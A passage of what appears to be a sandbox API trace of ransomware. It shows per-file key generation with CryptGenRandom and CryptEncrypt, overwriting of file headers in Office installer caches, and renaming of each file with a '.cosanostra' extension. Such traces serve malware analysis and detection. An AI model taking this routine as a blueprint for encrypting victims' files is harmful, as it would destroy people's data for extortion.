lpOverlapped=0x0) returned 1 [0108.532] CloseHandle (hObject=0x180) returned 1 [0108.532] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.cosanostra") returned 92 [0108.533] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.cosanostra")) returned 1 [0108.533] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeca0 | out: pbBuffer=0x2abeca0) returned 1 [0108.533] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec98*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec98*=0x30) returned 1 [0108.533] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0108.534] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 78 [0108.534] StrStrW (lpFirst="dwdcw20.dll", lpSrch=".txt") returned 0x0 [0108.594] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.594] WriteFile (in: hFile=0x180, lpBuffer=0x305c978*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec5c, lpOverlapped=0x0 | out: lpBuffer=0x305c978*, lpNumberOfBytesWritten=0x2abec5c*=0x2800, lpOverlapped=0x0) returned 1 [0108.594] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.595] WriteFile (in: hFile=0x180, lpBuffer=0x2abec9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec5c, lpOverlapped=0x0 | out: lpBuffer=0x2abec9c*, lpNumberOfBytesWritten=0x2abec5c*=0x4, lpOverlapped=0x0) returned 1 [0108.617] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec5c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec5c*=0x30, lpOverlapped=0x0) returned 1 [0108.617] CloseHandle (hObject=0x180) returned 1 [0108.646] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.cosanostra") returned 89 [0108.646] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.cosanostra")) returned 1 [0108.649] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec98 | out: pbBuffer=0x2abec98) returned 1 [0108.649] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec90*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec90*=0x30) returned 1 [0108.649] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0108.649] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll") returned 84 [0108.649] StrStrW (lpFirst="dwintl20.dll", lpSrch=".txt") returned 0x0 [0108.673] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.674] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec54, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abec54*=0x2800, lpOverlapped=0x0) returned 1 [0108.674] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.674] WriteFile (in: hFile=0x180, lpBuffer=0x2abec94*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec54, lpOverlapped=0x0 | out: lpBuffer=0x2abec94*, lpNumberOfBytesWritten=0x2abec54*=0x4, lpOverlapped=0x0) returned 1 [0108.675] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec54, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec54*=0x30, lpOverlapped=0x0) returned 1 [0108.675] CloseHandle (hObject=0x180) returned 1 [0108.675] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.cosanostra") returned 95 [0108.675] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\dwintl20.dll.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\dwintl20.dll.cosanostra")) returned 1 [0108.676] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec90 | out: pbBuffer=0x2abec90) returned 1 [0108.676] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec88*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec88*=0x30) returned 1 [0108.676] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0108.677] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi") returned 80 [0108.677] StrStrW (lpFirst="GrooveMUI.msi", lpSrch=".txt") returned 0x0 [0108.691] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.691] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec4c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abec4c*=0x2800, lpOverlapped=0x0) returned 1 [0108.692] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.692] WriteFile (in: hFile=0x180, lpBuffer=0x2abec8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec4c, lpOverlapped=0x0 | out: lpBuffer=0x2abec8c*, lpNumberOfBytesWritten=0x2abec4c*=0x4, lpOverlapped=0x0) returned 1 [0108.702] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec4c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec4c*=0x30, lpOverlapped=0x0) returned 1 [0108.707] CloseHandle (hObject=0x180) returned 1 [0108.708] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.cosanostra") returned 91 [0108.708] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveMUI.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovemui.msi.cosanostra")) returned 1 [0108.709] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec90 | out: pbBuffer=0x2abec90) returned 1 [0108.709] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec88*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec88*=0x30) returned 1 [0108.709] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0108.712] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 79 [0108.712] StrStrW (lpFirst="GrooveLR.cab", lpSrch=".txt") returned 0x0 [0108.715] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.715] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec4c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abec4c*=0x2800, lpOverlapped=0x0) returned 1 [0108.715] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.715] WriteFile (in: hFile=0x180, lpBuffer=0x2abec8c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec4c, lpOverlapped=0x0 | out: lpBuffer=0x2abec8c*, lpNumberOfBytesWritten=0x2abec4c*=0x4, lpOverlapped=0x0) returned 1 [0108.724] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec4c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec4c*=0x30, lpOverlapped=0x0) returned 1 [0108.725] CloseHandle (hObject=0x180) returned 1 [0108.725] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.cosanostra") returned 90 [0108.725] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.cosanostra")) returned 1 [0108.726] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec88 | out: pbBuffer=0x2abec88) returned 1 [0108.726] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec80*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec80*=0x30) returned 1 [0108.726] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.726] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec88 | out: pbBuffer=0x2abec88) returned 1 [0108.727] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec80*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec80*=0x30) returned 1 [0108.727] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0108.727] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec80 | out: pbBuffer=0x2abec80) returned 1 [0108.727] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec78*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec78*=0x30) returned 1 [0108.727] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0108.728] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 78 [0108.728] StrStrW (lpFirst="OnoteLR.cab", lpSrch=".txt") returned 0x0 [0108.745] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.745] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec3c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abec3c*=0x2800, lpOverlapped=0x0) returned 1 [0108.745] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.746] WriteFile (in: hFile=0x180, lpBuffer=0x2abec7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec3c, lpOverlapped=0x0 | out: lpBuffer=0x2abec7c*, lpNumberOfBytesWritten=0x2abec3c*=0x4, lpOverlapped=0x0) returned 1 [0108.759] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec3c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec3c*=0x30, lpOverlapped=0x0) returned 1 [0108.759] CloseHandle (hObject=0x180) returned 1 [0108.759] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.cosanostra") returned 89 [0108.760] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.cosanostra")) returned 1 [0108.760] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec80 | out: pbBuffer=0x2abec80) returned 1 [0108.761] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec78*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec78*=0x30) returned 1 [0108.761] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0108.761] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 81 [0108.761] StrStrW (lpFirst="OneNoteMUI.xml", lpSrch=".txt") returned 0x0 [0108.770] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff9ba, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.770] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x646, lpNumberOfBytesWritten=0x2abec3c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abec3c*=0x646, lpOverlapped=0x0) returned 1 [0108.770] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.771] WriteFile (in: hFile=0x180, lpBuffer=0x2abec7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec3c, lpOverlapped=0x0 | out: lpBuffer=0x2abec7c*, lpNumberOfBytesWritten=0x2abec3c*=0x4, lpOverlapped=0x0) returned 1 [0108.771] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec3c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec3c*=0x30, lpOverlapped=0x0) returned 1 [0108.771] CloseHandle (hObject=0x180) returned 1 [0108.771] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.cosanostra") returned 92 [0108.771] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.cosanostra")) returned 1 [0108.772] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec78 | out: pbBuffer=0x2abec78) returned 1 [0108.775] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec70*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec70*=0x30) returned 1 [0108.775] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0108.776] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 81 [0108.776] StrStrW (lpFirst="OneNoteMUI.msi", lpSrch=".txt") returned 0x0 [0108.785] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0108.786] WriteFile (in: hFile=0x180, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abec34, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x2abec34*=0x2800, lpOverlapped=0x0) returned 1 [0108.787] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0108.787] WriteFile (in: hFile=0x180, lpBuffer=0x2abec74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec34, lpOverlapped=0x0 | out: lpBuffer=0x2abec74*, lpNumberOfBytesWritten=0x2abec34*=0x4, lpOverlapped=0x0) returned 1 [0109.238] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec34, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec34*=0x30, lpOverlapped=0x0) returned 1 [0109.238] CloseHandle (hObject=0x180) returned 1 [0109.238] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.cosanostra") returned 92 [0109.239] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.cosanostra")) returned 1 [0109.239] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec78 | out: pbBuffer=0x2abec78) returned 1 [0109.240] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec70*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec70*=0x30) returned 1 [0109.240] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0109.240] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 82 [0109.240] StrStrW (lpFirst="Office32MUI.xml", lpSrch=".txt") returned 0x0 [0109.339] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffffa99, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0109.339] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x567, lpNumberOfBytesWritten=0x2abec34, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abec34*=0x567, lpOverlapped=0x0) returned 1 [0109.339] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.339] WriteFile (in: hFile=0x180, lpBuffer=0x2abec74*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abec34, lpOverlapped=0x0 | out: lpBuffer=0x2abec74*, lpNumberOfBytesWritten=0x2abec34*=0x4, lpOverlapped=0x0) returned 1 [0109.340] WriteFile (in: hFile=0x180, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abec34, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abec34*=0x30, lpOverlapped=0x0) returned 1 [0109.340] CloseHandle (hObject=0x180) returned 1 [0109.340] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.cosanostra") returned 93 [0109.340] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.cosanostra")) returned 1 [0109.341] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec70 | out: pbBuffer=0x2abec70) returned 1 [0109.341] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec68*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec68*=0x30) returned 1 [0109.341] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.341] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abec70 | out: pbBuffer=0x2abec70) returned 1 [0109.341] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abec68*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abec68*=0x30) returned 1 [0109.341] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All 